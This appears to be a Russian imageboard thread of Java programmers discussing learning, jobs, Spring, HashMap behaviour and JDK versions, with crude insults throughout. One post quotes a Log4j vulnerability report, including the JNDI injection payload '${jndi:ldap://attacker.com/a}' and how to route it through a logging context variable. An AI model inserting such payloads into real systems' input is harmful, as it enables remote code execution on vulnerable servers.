Я уже писал свои вкатышепеты на жаве и рест контроллеры всякие писать проблем не было, так же нет проблем с сиквелем(60 задач на sql-ex), но конкретно с работой с бд через орм проблемы, как все эти связи оформлять и прочее.
353 2238677
Удалите уже этот тред, поясняю:
1) C# лучше.
2) Бэк уже начали переписывать на го.
3) Когда выйдет мультиплатформа котла, то весь бэк будет переписан на котлин, ибо мобилки это сфера убивающая веб, как когда-то веб десктоп, а единая бизнес логика это просто экономия 9000 часов времени, а значит и денег кабана.
Java труп, без преувеличений, новые сервисы пишутся на том же котле, а джээва шлак просто лежит и ждёт когда его перепишут. И его перепишут.
sage 354 2238682
>>238677
Репорт.
355 2238693
>>238671
Основы я брал тут:
https://easyjava.ru/data/jpa/
https://easyjava.ru/data/hibernate/
Ну и баелдунг и книжка java persistence для чего-то конкретного.
Правда не стал ничего писать на голом хибере. Спринг дату у отуса только смотрел. Для пета мне хватило.
sage 356 2238696
>>238650
Скорее всего, такого не будет. Ты можешь делать таску раз в 10 минут на тридцатую секунду, но никак не с интервалом в 10:30
ScheduledExecutorService
16394754165770.jpg141 Кб, 750x548
357 2238767
358 2238805
>>238677
Безработный нубяра незаметен
359 2238821
>>238677
Толсто. Ниже тред по паскалю висит.
360 2238962
>>238556
C++ статический язык, поэтому там темплейты реализуемы достаточно легко.
В Java у тебя классы грузятся динамически или вообще генерируются - поэтому максимум что можно сделать в Java - это Generic Specialization.

В принципе конечно можно и темплейты реализовать, но это надо весь темплейт энджин засунуть в рантайм и непонятно как избежать разных побочных эффектов со всякими ссылками на другие классы или темплейты которые еще не были загружены.
361 2239160

> В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления


> Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion.


это смешно
джава мартыханы разучились программировать
sage 362 2239168
>>239160
Зато в логгере можно код запускать!!!!
363 2239181
Я правильно понял, если заставить логгер залогировать любую строку где хоть где-то есть паттерн, то можно загрузить любой класс извне, и выполнить его, если да, то они ебанутые? Т.е. шлем любые невалидные данные на север с паттерном, он логируется, эксепшен же хули, и доступ обезьяной к серверу получен? Это так просто? Они ебанутые?
364 2239205
>>239160

>то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion.


А как это сделать внешнему атакующему?
sage 365 2239221
>>239181
Инфа 100 этот бекдор специально сделали
366 2239232
Дочитал Шилдта до 500 страницы. Не могу решить самые первые задачки на codingbat из раздела разминки. Читаю условие, перевод понимаю, но тупо не понимаю, что мне нужно сделать. Со мной всё ок или мне сразу пенсию по умственной инвалидности оформлять?
367 2239239
>>239205
Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит.
>>239221
Думаю да, эта хуйня aws положила второй раз
368 2239249
>>239239

>Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит.


Ты хоть обосрись, но ${ctx:apiversion} ты так не поменяешь.
sage 369 2239286
>>239232
Да ок, выучить язык программирования ещё не значит научиться алгоритмически мыслить. Пытайся ещё решать какие-нибудь совсем простые задачи, пиши программы для себя, и всё придёт.
370 2239293
>>239286

>алгоритмически мыслить


Разве такое надрочить получится, я если даже и дойду до первых собесов, то пуская слюни в слезах убегу при первой же задаче от hr. Прям руки опустились, вроде бы нашёл дело, которое мне нравится, но обидно осознавать, что оно мне так плохо даётся. В любом случае, спасибо за поддержку.
sage 371 2239305
>>239293
Получится, все надрачивают. С этим никто не рождается, сложно всем.
372 2239367
>>239232
Пробуй задачки на степиках, кодварсах, литкодах. Там где подсказки можно в комментах прочесть. Мне помогало.
373 2239385
>>239293
Однажды повезет и проскочишь. Я так делал.
sage 374 2239426
Че там, уже придумали что-то лучше чем assertj?
sage 375 2239428
>>239426
А чем тебе assertj не угодило?
sage 376 2239429
>>239428
Многословный, с коллекциями хуево работает.
sage 377 2239435
>>239426
Да, придумали KISS и YAGNI.
sage 378 2239436
>>239435
Че ты высрал?
sage 379 2239440
>>239436
АОП - это антипаттерно-ориентированное программирование.
sage 380 2239443
>>239440
Ты бот?
381 2239631

>жavapidor: кококо солид сингл респонсибилити кококо


>тоже жавапидор: а давайте логгер будет не только выводить текст, но и открывать ссылки

382 2239633
>>239631
Так солид это для холопов разработчиков приложений. Библиотеки/тулинг/инфраструктура никогда не будут соответствовать всем бестпрактикам.
383 2239635
>>239440
Прямо как глобальный контекст зависимостей в спринге.
sage 384 2239658
>>239631
Это два разных жабапидора.
sage 385 2239665
>>239631
Я так-то тоже против этой хуйни
второй жавапидор
386 2239695

>Роб Харроп Spring 5 для профессионалов


Нормальная книжка чтоб вкатываться? Если я почти полный ноль в спринге. Знаю что стандартом литературы по теме является "Спринг ин экшон", но мой английский не настолько пиздат чтоб я осилил ее в оригинале за короткое время, а хотелось более менее въехать, а потом уже можно и дотянуть.
387 2239714
>>239695
ангийское потом так и не наступит, будешь на местных кабанов горбайтен
388 2239755
>>239714
Ну, вопрос-то в другом был. Если кто-то читал то самое, оценить его годноту. Если оно достаточно качественное то может уоллс и не понадобится
389 2239847
Пиздос, часто смотрел собесы, где говорили что алгоритмы в принципе ни где не пригодятся, а щас увидел видос, чел попал в Яндекс, а потом в FAANG, и говорит что ничего кроме решения алгоритмов не важно, даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом, главное алгоритмы.
Ну челик ща получает 300к $ в год, найс че.
391 2239855
>>239847
от уровня решаемых тобой задач зависит. Если ты просто мартышка которая круды стряпает для очередного магазина резиновых дилдаков, то алгоритмы не нужны. Если ты занимаешься программированием фундаментальных вещей типа движков каких-то технологий - то это действительно главное, и это очень дорого стоит. Из этого можно сделать вывод: для 99,5% верно то что алгоритмы вторичны, а макакинг первичен, для остальной половины процента, которые для макак собственно строят галеры, верно то что сказал тот типчик 300к/нсек
392 2239860
>>239855
Получается что около 99.5% кодеров это макаки? Даже сеньоры?
sage 393 2239865
394 2239867
>>239865
Ахуеть.
395 2239908
>>239855
Но в фаангах же тоже есть таски с теми же самыми крудами и формочками. Наверно даже есть такие работники, кто только этим и занимается. Но ебут алгосами всех.
396 2239933
>>239633

> соответствовать всем бестпрактикам.


Ну хоть валидатор жаба кода есть, которым можно ебать на собесах, проверит хоть пришел ли тебе через логирование валидный байткод из Китая
397 2239940
>>239908

> в фаангах


Разве в фанге ктото работает дольше чем год-два?
398 2239961
Почему не существует имутабельных массивов?
399 2239972
>>239961
Чем тебе UnmodifiableList не угодил?
sage 400 2239978
>>239961
А вот в Котлине все есть.
401 2240003
>>239978
Кста заметили, как хайп на котлин резко прошел?
402 2240005
>>240003
Я хайпа не заметил
403 2240018
>>240005
Согласен. Но выглядит прикольно, его хочется изучать, имхо.
404 2240023
>>240003
На хайп адекватным людям похуй, кому надо, тот просто пишет на котлине, и такого вокруг все больше, никуда не исчезает. Просто как первый попавшийся пример - тут кто-то недавно бегал со стажерским тестовым заданием в райффайзен. Так вот, у них там котлин, и задание самом можно было писать и на котлине.
405 2240024
>>240018

> хочется изучать


молодой еще
406 2240025
>>239847

>даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом



Ну если для стажера и какого-нибудь джуна такое прокатит, то на более высоких должностях тебя попустят на System Design.

>>239847

>челик ща получает 300к $ в год


А смысл получать 300к долларов в год, сидя в bay area, где это будет довольно посредственной зп с которой будешь в 0 уходить. Примерно как 70-100к рублей в месяц в России (предполагаю, что своей недвиги нет, и на 70к рублей ты снимаешь в Москве однушку за 40к, а в bay area платишь моргидж)
407 2240028
Как в мапстракте сделать конверсию, когда в одном классе есть какое-то поле, которое надо смапить на другое поле, которое в другом классе завернуто в объект, поле которого объявленос типом интерфейса?
408 2240034
>>240025
Не грози Bay Area попивая бояру в однушке за 40к
firefox2021-12-1717-43-03.png19 Кб, 607x203
409 2240039
>>239847

>что ничего кроме решения алгоритмов не важно


Потому что так отбирают отбитых задротов от академии которыми проще управлять
410 2240358
>>240024
Перестал учиться хоть в 30+ - через какое-то время пойдешь нахуй из профессии, либо таки научишься либо продолжишь галерить на пятой джаве за копейки.
411 2240698
Когда поменяют названия версий джавы? JDK 17 - ну куда блядь. Каждые полгода выпускать, так мы через годик уже придем к JDK 33. Нахуй такие большие цифры?
412 2240954
>>240698
Никогда. Да хоть JDK 333, какая разница?
413 2240981
>>240698
Предлагаешь версиям давать имена?
414 2240989
>>240981
Мою любимую версию джавы зовут котлин :3
415 2240990
>>240981
Нет, вернутся к тому, с чего начинали. Жаба 1.17, потом 1.18.
416 2240995
>>240990
Слава богу от этого бессмысленного архаизма начали отходить. Самое удобное версионированние это год.месяц.день
sage 417 2240998
>>240995

>Самое удобное версионированние это год.месяц.день


Ты наголову ебнутый?
sage 418 2241000
>>240995
Да, надо каждый год ломать обратную совместимость, каждый месяц выпускать новые фичи и каждый день - патчи. Тогда будет заебись.
419 2241002
>>240995
час.минута.секунда.миллисекунда.микросекунда.наносекунда
420 2241026
Жаба все равно никогда не укатится с мажорной версии. В этой цифре 1 просто нет смысла, поэтому ее убрали. Посмотрите на версии ядра линукса, там такая же хуета была, пока не заебались решать что мажор, а что минор, потому что каждую версию что-то выпиливается и добавляется и ломается. И многие продукты сделали тоже самое. В андроеде тупо счетчик например. Особенно смешно выглядят либы с версиям 0.0.Х просто лол.
Положняк по версиям такой
- год[.месяц[.день]][-ревизия]
- счетчик
- всё остальное - тупо лишние сущности от первокуров
421 2241586
Подскажите IDE для Java на Linux
422 2241596
>>241586
Vim с плагинами
423 2241606
>>241586
idea 2021.2 с абьюзным триалом
424 2241818
Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию? Скачал и поставил 17 версию, а команда:
java - version
всё равно говорит, что у меня 11 версия. Что я делают не так?
425 2241823
>>241818

> Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию?


Просто 11-я это LTS

> всё равно говорит, что у меня 11 версия. Что я делают не так?


Значит в твоем окружении переменная PATH смотрит в bin 11-й версии.
sage 426 2241831
>>241818
Спроси в /s/, почему шизанутые мейнтейнеры линупсов страдают такой хуйнёй.
sage 427 2241884
>>241818
Юзай sdkman
428 2241929
>>241818
скачай руками архив, распакуй куда-нибудь и в PATH пропиши
429 2241941
>>241929
Там в /usr/bin есть symbollink на эту 11 версию. Ни каких PATH там нет. Я думал в линупсах по уму сделано, а на деле рукожопство похлеще, чем на винде.
sage 430 2241945
>>241941 https://gist.github.com/nex3/c395b2f8fd4b02068be37c961301caa7#linux
добавь в эту переменную путь до /bin своей жавы 17
1.png183 Кб, 1864x1000
431 2241965
Почему так? Jdk только что обновлён. Если для collectors ещё можно импортировать, то для arrays он видит только sql.arrays и reflect.arrays.
432 2241978
>>241965
1) Чего? У тебя там Array вместо Arrays.

2) Ну так заимпортируй для коллекторов, будет работать

3) На всякий случай сделай invalidate caches and restart и пусть идея заново проиндексирует jdk
433 2241988
>>241978

>Array вместо Arrays.


Пиздец кукож, пора отдохнуть, спасибо.
434 2242025
>>241988
Да, воскресенье, сходи купи пару булок в пекарне и какао. В цех85 там какие-то новогодние штуки как раз продают
435 2242036
>>241965
>>241818
бросай программирование не твой канек
436 2242326
Уже третий месяц пытаюсь посмотреть лекции с отуса. Половину лекторов слушать невозможно. Один постоянно тормозит и как будто наполовину спит, а второй шепелявит и заикается. Такое ощущение, что их подбирали специально, чтобы сложнее было материал воспринимать.
sage 437 2242335
>>242326
Зато в книгах никто не тормозит и не шепелявит.
438 2242349
>>242335
*в мурзилках
439 2242352
Дравия желаб!1
Товарищи деды, когда можно начинать искать рабiтку джава подсосером (джуном)?
По джавке - сериализацию скоро допройду. Потоки, коллекции, кор знаю. Паттерны тож скоро закончу, одиночка строитель кушал и писал уже дэбилокод для практики так сказать.
Sql кушаю активно, ex-sql пока 27 задач.
Думаю, что после того, как закончу выше сказанное (для Sql задач 60 будет достаточно), мне надо будет покушать спринг и гит
После чего искать работку.
Правильно думаю? Или слишком мало? Заранее спасибо за ваше мнение
sage 440 2242359
>>242352
Правильно.
441 2242374
>>242352
Я нашёл место, где вообще только джава-кор нужен. И на собесе нихуя не спрашивали. Хочу съебать.
sage 442 2242380
>>242374
Что за проект такой?
443 2242383
>>242359
Спасибо!
>>242374
Что такое? Зп маленькая? Как искал?

У меня друг - джуниор тоже с 0 знаниями залетел, а потом на испытательном сроке охуевал от жизни, ему давали столько инфы о разных фреймах, что по сути он сутками все учили. Хибернейты всякие, скл, спринг, джифрейм библиотеку заставили покушать прости господи... Ещё что то было этакое! А, докер вроде. Вот. И все в рамках месяца, но вроде сейчас уже раздуплился (3й месяц идёт его работы).говорит что на проект поставили. Вот и я чёт иногда думаю, что может просто взять и попробовать на дурака. Все равно фреймы всякие везде разные, и я так понял, что все равно первый месяц - два будут натаскивать под приколы фирмы, так сказать
444 2242436
>>233408
Если пропадет работа на жаве, в другой любой бэкэндовый язык перекачусь за неделю, анончик.
445 2242448
Стажируюсь в местной конторе на джависта четвертый месяц, вроде худо бедно чето получается, но меня дико заебал сам проект и ментор, первое лютейшее тормознутое лагаси, а ментор просто странный чувак, вместо ответа на прямой вопрос по их легасиговну, для которого нет доков, отвечает шарадами, или смотреть код. В принципе я ему все таки благодарен, я за эти 4 месяца охуенно прокачал навык читать чужой говнокод, наконец то понял что вообще такое говнокод и почему никто не любит коряво написанное Легаси разбирать.

Короче вопрос, хочу съебать сразу на Джуна в другую контору какую нибудь, будут ли хоть какой-нибудь вес иметь слова, что я где-то там стажировался?
446 2242524
>>242326
На твиче по вторникам где-то в районе 13:00 по мск идут лекции препода из универа. Он очень классно рассказывает про джаву.
447 2242537
Подскажите, где можно скачать руссификатор на IntelliJ IDEA?
448 2242539
>>242537
На сайте 1С
449 2242548
Берут ли новичков на удалёнку? В моём городе нет вакансий.
450 2242638
>>242448
Выбери одну технологию, с которой больше всего соприкасался, разберись с ней получше и ври, что полгода джуном работал. В резюме для рекрутеров даже пару месяцев опыта сильно лучше чем 0, они очень тупо фильтруют.
451 2242645
Пацаны, ситуация такова - вкатун, год+ курса по жабе, кор, многопоточка, спринг и бд, по учёбе всякое делал(CRUD/REST хуйни, просто задачки "магазин/склад" и т.п.). Проходил собесы, делал тестовые - сами звали кабанчики, но естественно сук не хватает им моих знаний теоретических. Так вот куда легче всего из компаний вкатиц на удалёнку? Сам из Барнаула ебучего, тут пооткликался сам - тишина бля. Стажировки от банков - там херота какая-то, задачки олимпиадные про монетки и колу.
452 2242658
>>242645
Так кроме банков и епама с бесплатной стажировкой на хз сколько месяцев и шансоми что в штат не возьмут никто удаленку на джуна/стажера на джаве вообще не предлагает.
Иди на пыху в своем Барнауле. Или вали в нерезиновую, Питер или Казань. Ну или пытайся пробиваться через стажировки, где берут каждого десятого.
453 2242744
Анончик.. Я такой йолупень и даунич что ужас.
Я просто не понимаю ничего.

Я думаю проблемы в том, что я не знаю английский на б1.

Вот джава кор я разобрался.. Все эти коллекции, мапы, рекурсии..

Ну в бд запросы делать умею..

Ну во фронте на хтмл что-то могу наверстать..

А хули. Как все это обьеденить. Я не одупляю как спринг работает и у меня возникают такие вопросы, на которые гугл ответа не дает, пиздец блять.

Может я слишком тупой для этого?
454 2242773
>>242744
Нет, ты не тупой.

Вообще единственное самое главное и важное качество погромиста-упорство.

Просто знай, что если будешь сидеть ковырять-разбираться, то рано или поздно разберёшься во всем.
455 2242870
А вы смотрите Сергея Немчинского?
456 2242877
>>242870
Нет, только хауди и хо.
457 2242881
>>242870
Я смотрю Карамбейби и Мейби Бейби.
458 2242889
>>242870
Кроме того, что он наглый инфоцыгынин и понтов было больше чем знаний даже в старых видосах, а сейчас по нему видно, что он уже кучу лет далек от продакшона.
>>242881

>Карамбейби


топчик
459 2242924
>>242744
Да, всё так, топай на завод.
460 2243020
Как правильнее всего передавать картинку на фронт через спринг бут в рестовой приложухе?
Пока только нагуглил и , как отдельным запросом от сущности отправлять массив байт :
@GetMapping(value = "/get-image-with-media-type",
produces = { MediaType.IMAGE_JPEG_VALUE, MediaType.IMAGE_PNG_VALUE, MediaType.IMAGE_GIF_VALUE })
public @ResponseBody byte[] getImageWithMediaType() {}
Еще про мультипарт вроде читал.
И через base64 прямо в json.
sage 461 2243025
>>243020
Правильнее всего навернуть nginx, чтобы он раздавал картинки.
Есть ещё метод addResourceHandlers в WebMvcConfigurer.
Ну и байтики из контроллера
462 2243056
>>232293 (OP)
В какой сфере работают люди на Java?
Насколько актуален этот язык в Android-разработке? Пора на Kotlin перекатываться?
463 2243064
>>243056
99% проектов по прежнему пишутся на Java, а не на Kotlin. Просто разработчики Kotlin как веганы, их мало, но они больше всех воняют.
464 2243185
>>242036
Ты не прав! Я смотрел мотивационное видео и там сказали, что любой может стать программистом.
465 2243244
>>243185
Любой коме тебя, очевидно.
466 2243260
>>243244
Я собираюсь 2 недели учить джаву, чтобы понять её плюсы и минусы, чтобы выбрать между сишарпом и джавой.
sage 467 2243266
>>243260
Зачем тратить две недели на ерунду? Очевидно же, что ява мертва.
468 2243269
>>243260
Это шутка такая? Познать за две недели особенности языка?

Остальное ты уже выучил? Databases, git, oop, virtualization, rest, data structures?
469 2243275
>>243260
Шарп, JVM в бане в любом приличном европейском айти бизнесе.
470 2243353
>>243260
Что тут выбрать, очевидно шарп лучше во всём.
471 2243516
Форс шарпа это мем или бот какой то? Или просто поехавший?
Года полтора сижу в треде и одно и тоже. Хотя заметил, что и вне харкача - в комментах на Ютубе или Хабре какой комментаторы вечно при разговоре про джаву без повода начинают эту хуиту про шарп лучше. Как будто промытые.
472 2243518
>>243516
Надо как-то вкатышей убирать, чтобы не демпинговали, с хаскеллом и ассемблером слишком толсто получается
473 2243526
>>243516
Зарплатные от мелко мягких отрабатывают наверное
474 2243527
>>243526
Причем реальные медийные шарписты естественно считают, что шарп лучше. Но вот этой шизы с моментальным триггером на упоминание джавы у них нету. Обычно это вкатунцы в шарпец так шизеют.
475 2243544
>>243516
Не ну шарп и правда лучше, как язык. Говорю это как писавший много лет на шарпе и сейчас пишущий на джаве. Джава сейчас это как примерно шарп 2.0 15-ти летней давности.

Но шарп не особо взлетел, так что джава.
sage 476 2243548
>>243544

> Не ну шарп и правда лучше


Даже если шарп - лучший язык всех времён и народов, какое отношение его обсуждение имеет к жабе? Зачем в этом треде срать оффтопом?
477 2243550
Нужно ли джуну учить спринг? Или достаточно прочитать книжку Философия Джавы и можно идти на собес?
478 2243554
>>243550
Скажи, как ты это себе представляешь? Все на работе будут писать бэкенд, и только джунам дают задачки с кором, консолью м файликами за 50 строчек?
479 2243560
>>243554
Джуну дают задание написать какую-нибудь функцию и сразу говорят, что она принимает, что возвращает.
sage 480 2243561
>>243560
Это так не работает
481 2243565
>>243560
А миддл может сам придумать сигнатуру метода? А сеньор может сам написать класс?
482 2243566
>>243565
Да, миддлы пишут классы, но конкретные реализации методов пишут джуны. Сеньоры распределяют классы по миддлам.
483 2243594
>>242924
Нахуя мне ваш завод?
Я работаю с кафом сисадмином и просто хочу большего, чем у меня есть.
484 2243630
>>242658
Я жабу хочу и денек зарабатывать) Ща в Андерсон тыкнулся, грят с Барнаула не нужны, часовой пояс не тот. Так и что, план откликаться на вакансии с Москвы, еси отзовутся, пройти собеседование и с кем нибудь ебашить в нерезиновую?
485 2243631
>>242744

>Я не одупляю как спринг работает


Весь мир не одупляет

> гугл ответа не дает


Так ты на ютубе ищи. Все эти джокеры хуёкеры по твоему ради халявного выходного делают?
https://www.youtube.com/results?search_query=евгений+борисов
486 2243632
>>243064
Весь новый андроид пишется на котлине. А стары понемногу переписывается. Но android и java server side это вообще разные вселенные.
487 2243647
>>243632
Котлин по синтаксису как Паскаль. Только бегин/енд не хватает для полного сходства. В чём проблема была сделать С-подобный язык?
488 2243648
>>243647

> Паскаль


Наркоман? Это из-за типов после имён?
489 2243651
>>243648
Да, это паскаль-стиль
490 2243654
>>243631
Я вообще ни слова не понимаю у этого Евгения Борисова
491 2243663
>>243654
Про спринг рассказывает с юморком, очевидные вещи целый час может рассусоливать
492 2243677
>>243663
Про мохито я не понял.
image13 Кб, 747x358
493 2243682
Почему так может быть? Раньше нормально было. В переменных среды установлено JDK_JAVAC_OPTIONS "-encoding UTF8". Шрифт Lucida Console, в повершелле то же самое, у сорс-файла кодировка UTF-8
494 2243692
>>243682
У тебя ошибка не в кодировке, а отсутствии ';' в конце.
495 2243697
>>243682
Венде похуй на твои кодировки. Её нужно менять в самом cmd
496 2243724
>>243682
chcp 65001
497 2243917
>>243630
Если нацелен на москвабад лучше всего вообще поменять в профиле город на него.
Ну и мертвый сезон начался, привет. Еще недели 4 нет смысла ебать мозги насчет поиска работы.
498 2243943
>>243917
А потом начнут расхватывать вкатунов как горячие пирожки?
499 2243968
>>243943
Нет конечно, но до конца января я бы рыпаться не стал. Лучше вместо дроча хх подрочи жабу, спринг и хибер. Напиши петпроектик. Покушай салатик
500 2243974
26 летний жук плавунец на связи. Есть ли шанс вкатиться в ДС? Прогал на питоне и матлабе всякую десктопную хуйню 3 года, сам инженер из даунки. Или я уже слишком стар?
501 2243990
>>243974
Есть. Учи java, maven, junit, sql, hibernate, spring(core/mvc/data/securty), html/css/js. Это наверно мастхев, полюс еще пару-тройку технологий по выбору.
Если кодил на питухоне основы sql, html/css/js, mvc-паттерн должен знать.
502 2244010
Эх, в январе как вкачусь как вкачусь на новую работу. Буду пить дорогой виски и куплю воображаемой телке ремень от гуччи.
503 2244035
Ну наконец-то блять.
sage 504 2244045
Выдыхаем
505 2244048
>>243266
>>243269
>>243353
Это методика Сергея Немчинского. Учишь новый язык 2 недели, чтобы понять плюсы и минусы и хочешь ли дальше на нём программировать.

>>243275
JVM с разогретым кэшем обгоняет по тестам не только CLR, но даже скомпилированный код на С++.
506 2244052
>>244048

Так то перед джавой я три дня изучал пхп, 5 дней питон, мне не зашло. Ну основы с циклами и бинарной сортировкой я на си с cs50 прошел. Когда заточил джвакор неделю посвятил андроеду. Не зашло. И потом взял спринг.
Так что получилось по цыгану-немчинскому.
507 2244074
>>243968
Спасибо за совет про город!) Про устройство понимаю, что конец декабря/январь все закрывают год и потом бухают/отдыхают. Теорию итак стараюсь сча читать и вникать. Сегодня с горя из-за отказа Андерсона вот пшенички набрал с сыром-косичкой, нахуярюсь. Какой пет писать? Хуйня по типу "добавлять/отдавать какие-ниудь товары и выводить их количество" есть на спринге, crud для файлов тоже есть, там даже всякие jwttoken'ы для авторизации через фронт.
508 2244098
>>243275

>JVM в бане в любом приличном европейском айти бизнесе


Диван спок. Как человек который в той самое европе и работает могу сказать, что сярп тут практически не распространен. Мейнстрим для бека жава, нода, го, чуть меньше питона. Весь крупный финтех это джава.
509 2244100
>>244048

>но даже скомпилированный код на С++


Ты тут полегче, если обгоняет то херовый код на С++. Так-то у С++ больше возможностей для улучшения перформанса, но и ебли это требует больше.
16372141683560.jpg119 Кб, 707x1000
510 2244101
>>244098
Зачем ты так, дотнет очень даже популярен в европе: государственные учреждения с скриптами на vb.net ждут своих героев!
511 2244279
>>244048
Так и запишем: Сергей Немчинский - дурачок. Удачи за две недели разобраться во всём многообразии хоть какого-нибудь языка
512 2244339
>>244279
А зачем все разнообразие? Хелловорда + 2-3 самых базовых для этого языка тем хватит, чтобы понять, что язык тебе не нравится.
513 2244405
Я создаю HashMap<A, Integer>. A у меня имплепентирует Comparable<A>. Почему при попытке извлечь элемент не происходит вызов compareTo?
514 2244503
>>244405
А почему должны?
515 2244520
>>244405
Если ты про коллизии, поиск в бакетах идёт линейно через последовательный вызов equals(), а не через сравнение в каком-нибудь бинарном поиске.
516 2244739
>>243630
Андерсен неоче, не иди туда. я там работаю, лел.
517 2244741
>>243974
Я пол года назад вкатился, недавно вот 32 годика стукнуло по самооценке.
518 2244833
>>244739
так туда и не берут
519 2244834
>>244741
рассказывай как (скок отказов было и собесов), куда и на сколько денег)))
520 2244891
Кто-то использует идею, без мышки и без стрелочек?
Вот я недавно немножно задрочил 10-ти пальцевый метод и мне стало неприятно пользоваться мышкой и стрелками. По стрелкам мне посоветовали плагин емакса/вима или свои шорткаты придумать. А вот чтобы лазать по проекту, по плагинам с базой/мавеном, тулам с гитом/терминалом/етк вроде есть куча шорткатов. Это вообще удобно? На все что нужно есть шорткаты?
Есть кто этим пользуется? Стоит игра свеч на заучивание шорткатов?
521 2244925
>>244520
Совсем дурачек?
522 2244931
>>244925
Ебанулся?
523 2244938
>>244405
как хешмапа связана с компараблом?
524 2244943
>>244739
Меня туда звали осенью, мне проект не понравился и я слился

>>244891
Конечно удобно
525 2244946
>>244943

>Конечно удобно


В идее есть плагин для помощи в заучивании шорткатов. Ты не пользовался им?
526 2244958
кстати что по стажёрской проге "РАЗРАБОТЧИК JAVA" Ланита скажете?
527 2244970
>>244946
Нет, я распечатал бумажку с шорткатами, повесил рядом и смотрел. Но плагин вообще удобный, рекомендую
528 2244993
>>244943

>Меня туда звали осенью, мне проект не понравился и я слился


Под проект собеседовали? Или до собеса не дошло.
529 2244997
>>244993
А не, извиняюсь, перепутал. До собеса не дошло, да, просто отказал. Было лень собеседоваться
530 2245016
>>244520
Если жаба свежая и коллизий в бакете много трешхолд 8, по моему, то compareTo() будет вызываться.
image.png206 Кб, 1327x852
531 2245030
Сап, анон. Помоги...Я не понимаю, где задачи решать?

https://stepik.org/course/90684 - этот курс я прошел, прорешал все задачи.

А с ООП мне где искать задачи?
https://www.examclouds.com/ru/java/java-core-russian/lesson7-tasks - я нашел только это. Но тут задачи уровня "Создай класс, создай экземпляр класса, создай интерфейс."

Я это умею делать, дальше что?

Алишева навернул целиком его плейлист по джава кор.

Если я могу делать то, что дано на скрине, значит тему коллекций я понял и могу дальше идти?

Вообще нихуя непонятно с этой практикой. Приходится весь интернет перекапывать. На codingbat ООП нихуя нет, на подобных сайтах тоже. codewars для отбитых задротов.

Постоянно хочется бросить всё это дело, потому что всё слишком хаотично, структуры изучения нет...Можете меня слать на хуй.
532 2245039
>>245030
Пошёл на хуй

Вообще тема коллекций довольно обширная. Кто-то скажет, что если ты всё что на скрине написано умеешь, то ты понял коллекции. А кто-то скажет, что пока ты сам своими руками не напишешь имплементации популярных коллекций то ты нихуя не понял в этой жизни

Как таковых задач на ООП не существует. Можешь все классические паттерны в коде реализовать, вот тебе задачи на ооп
533 2245386
Анон подскажи как реализовать сохранение файлов на сервер. Если я их загружаю в папку ресурсов , то они подгружаются тольок после редеплоя томката. Как Сохранять сразу на сервер ?
534 2245388
>>245386
Потому что ресурсы не предназначены для записи, только для чтения из собранного архива.
С файлами работать по тупому, через FileWriter и прочие штуки из кора.
535 2245392
>>245388
Дак а как мне их заставить отображаться в html коде. Там же путь до папки ресурсов ведет, где по идее пикчи лежат. Может можно настроить относительный путь как нибудь , что бы оно на серв в папку записывалось, а не в проект.

Сейчас вот так сохраняю.

img = new FileOutputStream("C:\\Users\\yranikus\\IdeaProjects\\fgjhfdj\\src\\main\\webapp\\resources\\images\\toilets\\"
+ jsonpoint.getName() + ".jpeg");
img.write(convertByte);
img.close();
sage 536 2245409
537 2245411
>>245409
Сохранять-то как?
538 2245427
>>245411
Тебе для чего? По хорошему тебе нужен слой файлового хранилища типа NFS. Папка ресурсов для другого предназначена. Если для себя, то ты же сам описал способ сохранения через FileOutputStream
539 2245446
>>245427
Ну дак это костыль, я прописал сохранение в директорию томката. Стало работать. Но как быть если деплоить сайт куда то ?
image.png25 Кб, 451x592
540 2245447
>>245427
Папка ресурсов там кстати не та , которая в идее создается .
sage 541 2245469
>>245411
Как угодно. Например, Files.write(Path.of("C/govno/mocha/pictures", imageBytes). Раздаешь картинки оттуда же
542 2245472
>>245469
Почему в волшебном спринге нет готовой магии для этого?
543 2245473
Если при вставке в HashMap<A, Integer> hm происходит вставка
var a = new A();
hm.put(a, 1);
hm.put(a, 2);

то как карта понимает, что надо заменять значение? При первой вставке вычисляется хэш-код объекта а, и в массив бакетов по индексу a & (длина массива - 1) вставляется ссылка на бакет с этой парой (a, 1). При второй вставке снова вычисляется хэш код (то же самое число), но как карта без вызова equals() понимает, что надо заменять 1 на 2? В интернете пишут, что HashMap сравнивает значение, а не ссылки. Как она это делает без вызова equals?

public class Main {
public static void main(String[] args) {
Map<A, Integer> hm = new HashMap<>();

var a = new A();

hm.put(a, 1);
hm.put(a, 2);
}
}

class A {
@Override
public int hashCode() {
System.out.println("hashCode() is called");
return super.hashCode();
}

@Override
public boolean equals(Object obj) {
System.out.println("equals() is called");
return super.equals(obj);
}
}

Этот код показывает, что вызов equals не происходит. Что я понимаю не так?
543 2245473
Если при вставке в HashMap<A, Integer> hm происходит вставка
var a = new A();
hm.put(a, 1);
hm.put(a, 2);

то как карта понимает, что надо заменять значение? При первой вставке вычисляется хэш-код объекта а, и в массив бакетов по индексу a & (длина массива - 1) вставляется ссылка на бакет с этой парой (a, 1). При второй вставке снова вычисляется хэш код (то же самое число), но как карта без вызова equals() понимает, что надо заменять 1 на 2? В интернете пишут, что HashMap сравнивает значение, а не ссылки. Как она это делает без вызова equals?

public class Main {
public static void main(String[] args) {
Map<A, Integer> hm = new HashMap<>();

var a = new A();

hm.put(a, 1);
hm.put(a, 2);
}
}

class A {
@Override
public int hashCode() {
System.out.println("hashCode() is called");
return super.hashCode();
}

@Override
public boolean equals(Object obj) {
System.out.println("equals() is called");
return super.equals(obj);
}
}

Этот код показывает, что вызов equals не происходит. Что я понимаю не так?
sage 544 2245477
>>245472
Потому что это 2 строчки. В спринге есть магия на раздачу статики
545 2245479
>>245477
